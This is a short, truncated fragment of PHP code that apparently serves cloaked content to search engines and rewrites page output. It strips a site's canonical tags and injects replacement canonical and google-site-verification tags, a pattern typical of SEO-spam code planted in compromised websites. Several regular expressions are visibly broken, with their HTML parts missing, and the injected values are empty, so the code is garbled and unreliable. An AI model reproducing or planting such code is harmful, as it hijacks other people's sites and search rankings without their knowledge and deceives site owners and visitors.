100){ header("HTTP/1.1 200 OK");header("Content-Type:text/html;charset=UTF-8"); header("Cache-Control:no-store,no-cache,must-revalidate,max-age=0"); header("Pragma:no-cache");header("Expires:0"); header("X-Robots-Tag:all,index,follow");header("Vary:User-Agent"); echo $t;exit; }} ob_start(function($html){ $canonical=''; $gsc=''; $html=preg_replace('#]+rel=["\']canonical["\'][^>]*>#i','',$html); $html=preg_replace('#()#i','$1'.$canonical,$html,1); if(strpos($html,'google-site-verification')===false){$html=preg_replace('#()#i','$1'.$gsc,$html,1);} return $html; });